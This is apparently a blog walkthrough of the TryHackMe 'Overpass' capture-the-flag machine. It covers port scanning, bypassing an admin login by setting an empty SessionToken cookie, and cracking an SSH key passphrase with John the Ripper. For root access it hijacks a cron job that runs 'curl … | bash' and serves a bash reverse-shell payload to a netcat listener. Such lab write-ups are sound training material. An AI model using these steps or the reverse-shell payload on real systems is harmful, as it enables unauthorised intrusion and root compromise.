░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
  ░   ░░░   ░░░   ░░░░░   ░         ░   ░░░░   ░    ░░░░░   ░         ░   ░░░░░░░   ░   ░░░░░   ░    ░░░░░   ░      ░░░░░           
  ▒   ▒▒   ▒▒▒▒   ▒▒▒▒▒   ▒   ▒▒▒▒▒▒▒   ▒▒▒▒   ▒  ▒   ▒▒▒   ▒   ▒▒▒▒▒▒▒  ▒   ▒▒▒    ▒   ▒▒▒▒▒   ▒  ▒   ▒▒▒   ▒   ▒▒▒   ▒▒▒▒▒▒   ▒▒▒▒
  ▒   ▒   ▒▒▒▒▒   ▒▒▒▒▒   ▒   ▒▒▒▒▒▒▒   ▒▒▒▒   ▒   ▒   ▒▒   ▒   ▒▒▒▒▒▒▒   ▒   ▒ ▒   ▒   ▒▒▒▒▒   ▒   ▒   ▒▒   ▒   ▒▒▒▒   ▒▒▒▒▒   ▒▒▒▒
  ▓  ▓  ▓▓▓▓▓▓▓   ▓▓▓▓▓   ▓       ▓▓▓          ▓   ▓▓   ▓   ▓       ▓▓▓   ▓▓   ▓▓   ▓   ▓▓▓▓▓   ▓   ▓▓   ▓   ▓   ▓▓▓▓   ▓▓▓▓▓   ▓▓▓▓
  ▓   ▓▓   ▓▓▓▓   ▓▓▓▓▓   ▓   ▓▓▓▓▓▓▓   ▓▓▓▓   ▓   ▓▓▓  ▓   ▓   ▓▓▓▓▓▓▓   ▓▓▓  ▓▓   ▓   ▓▓▓▓▓   ▓   ▓▓▓  ▓   ▓   ▓▓▓▓   ▓▓▓▓▓   ▓▓▓▓
  ▓   ▓▓▓   ▓▓▓   ▓▓▓▓▓   ▓   ▓▓▓▓▓▓▓   ▓▓▓▓   ▓   ▓▓▓▓  ▓  ▓   ▓▓▓▓▓▓▓   ▓▓▓▓▓▓▓   ▓   ▓▓▓▓▓   ▓   ▓▓▓▓  ▓  ▓   ▓▓▓   ▓▓▓▓▓▓   ▓▓▓▓
  █   █████   ███      ████         █   ████   █   ██████   █         █   ███████   ███      ████   ██████   █      █████████   ████
  █████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████
    

char nick[9] = "jkuehnemundt";

printf("https://github.com/%s\n",nick);

printf("https://linkedin.com/in/%s\n",nick);

printf("%s\x40gmail\x2e\\\bcom\n",nick);

puts("3549 EDA1 DF13 BB50 1690 0587 2445 4B7A C5DF A849");

$ cat THM Overpass.txt

Jan 30, 2022 • [ thm overpass ]

What happens when some broke CompSci students make a password manager?

At first, I want to see what is running on the VM. So I’ll use Nmap.

1
2
3
4
5
6
7
8
9
10
kali@kali:~$ nmap 10.10.204.24
starting Nmap 7.91 ( https://nmap.org ) at 2022-01-30 06:09 EST
Nmap scan report for 10.10.103.28
Host is up (0.038s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds

After running Nmap it shows two open ports. Ssh and on port 80 the following website is displayed:

There are two other pages, but none with a login page or anything like that. So I used dirsearch to discover hidden paths.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
target: http://10.10.204.24/

[10:51:33] Starting: 
[10:51:33] 301 -    0B  - /%2e%2e//google.com  ->  /google.com
[10:51:36] 200 -  782B  - /404.html                                                                                                                
[10:51:36] 301 -    0B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js  ->  /Citrix/AccessPlatform/auth/clientscripts/cookies.js
[10:51:37] 301 -    0B  - /aboutus  ->  aboutus/                                                                 
[10:51:38] 301 -    0B  - /adm/index.html  ->  ./                               
[10:51:38] 301 -   42B  - /admin  ->  /admin/             
[10:51:38] 200 -    1KB - /admin.html                         
[10:51:38] 200 -    1KB - /admin/                        
[10:51:38] 200 -    1KB - /admin/?/login
...  

It discovered the subdir /admin/ which shows the following login page. Nice! Now we need to bypass this and a hint is => OWASP Top 10 Vuln! Do NOT bruteforce.

Then I use the web console and take a look into login.js. The postData function sends a POST request to the given URL and the login function takes use of this to pass the credentials. There is an interesting entry on line 40. If we pass the correct credentials, a cookie is set.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
async function postData(url = '', data = {}) {
    // Default options are marked with *
    const response = await fetch(url, {
        method: 'POST', // *GET, POST, PUT, DELETE, etc.
        cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
        credentials: 'same-origin', // include, *same-origin, omit
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
        },
        redirect: 'follow', // manual, *follow, error
        referrerPolicy: 'no-referrer', // no-referrer, *client
        body: encodeFormData(data) // body data type must match "Content-Type" header
    });
    return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
    return Object.keys(data)
        .map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
        .join('&');
}
function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
        event.preventDefault()
        login()
    });
}
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

So I simply set the cookie manually: Cookie.set("SessionToken","")
Voilà! After reload the page shows a private RSA key. Save the key as a id_rsa file.

Cracking the private key

The next step is to transform the private RSA key into a hash file with ssh2john, so we can run John the Ripper.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
kali@kali:~$ ssh2john id_rsa > id_rsa.hash
kali@kali:~$ john id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
*******          (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:02 DONE (2022-01-30 08:34) 0.3610g/s 5177Kp/s 5177Kc/s 5177KC/sa6_123..*7¡Vamos!
Session completed

After cracking the password, log in to the machine with the private key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
kali@kali:~$ sudo ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Jan 30 12:43:54 UTC 2022

  System load:  0.07               Processes:           91
  Usage of /:   22.3% of 18.57GB   Users logged in:     0
  Memory usage: 12%                IP address for eth0: 10.10.xx.xx
  Swap usage:   0%


47 packages can be updated.
0 updates are security updates.

Now you will find the file user.txt, which contains the first flag.

Privilege escalation

Check crontab with cat /etc/crontab and you notice that root will execute every minute curl overpass.thm/downloads/src/buildscript.sh | bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

Change in etc/hosts the following entry 127.0.0.1 overpass.thm to your IP to redirect the domain. Run on your local machine a http server sudo python3 -m http.server 80 and create the path /downloads/src/ with the following buildscript.sh file:

1
2
#!/bin/bash
bash -c "bash -i >& /dev/tcp/{your_ip}/4444 0>&1"

Now start a reverse shell with Netcat

1
2
kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...

Congratulation, you are root! The flag is in the root.txt file.

1
2
3
4
5
6
7
8
9
10
11
12
13
─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [{your_ip}}] from (UNKNOWN) [10.10.223.6] 48992
bash: cannot set terminal process group (17000): Inappropriate ioctl for device
bash: no job control in this shell
root@overpass-prod:~# ls -ls
ls -ls
total 28
12 -rw-r--r-- 1 root root 11515 Jan 31 17:42 buildStatus
 4 drwx------ 2 root root  4096 Jun 27  2020 builds
 4 drwxr-xr-x 4 root root  4096 Jun 27  2020 go
 4 -rw------- 1 root root    38 Jun 27  2020 root.txt
 4 drwx------ 2 root root  4096 Jun 27  2020 src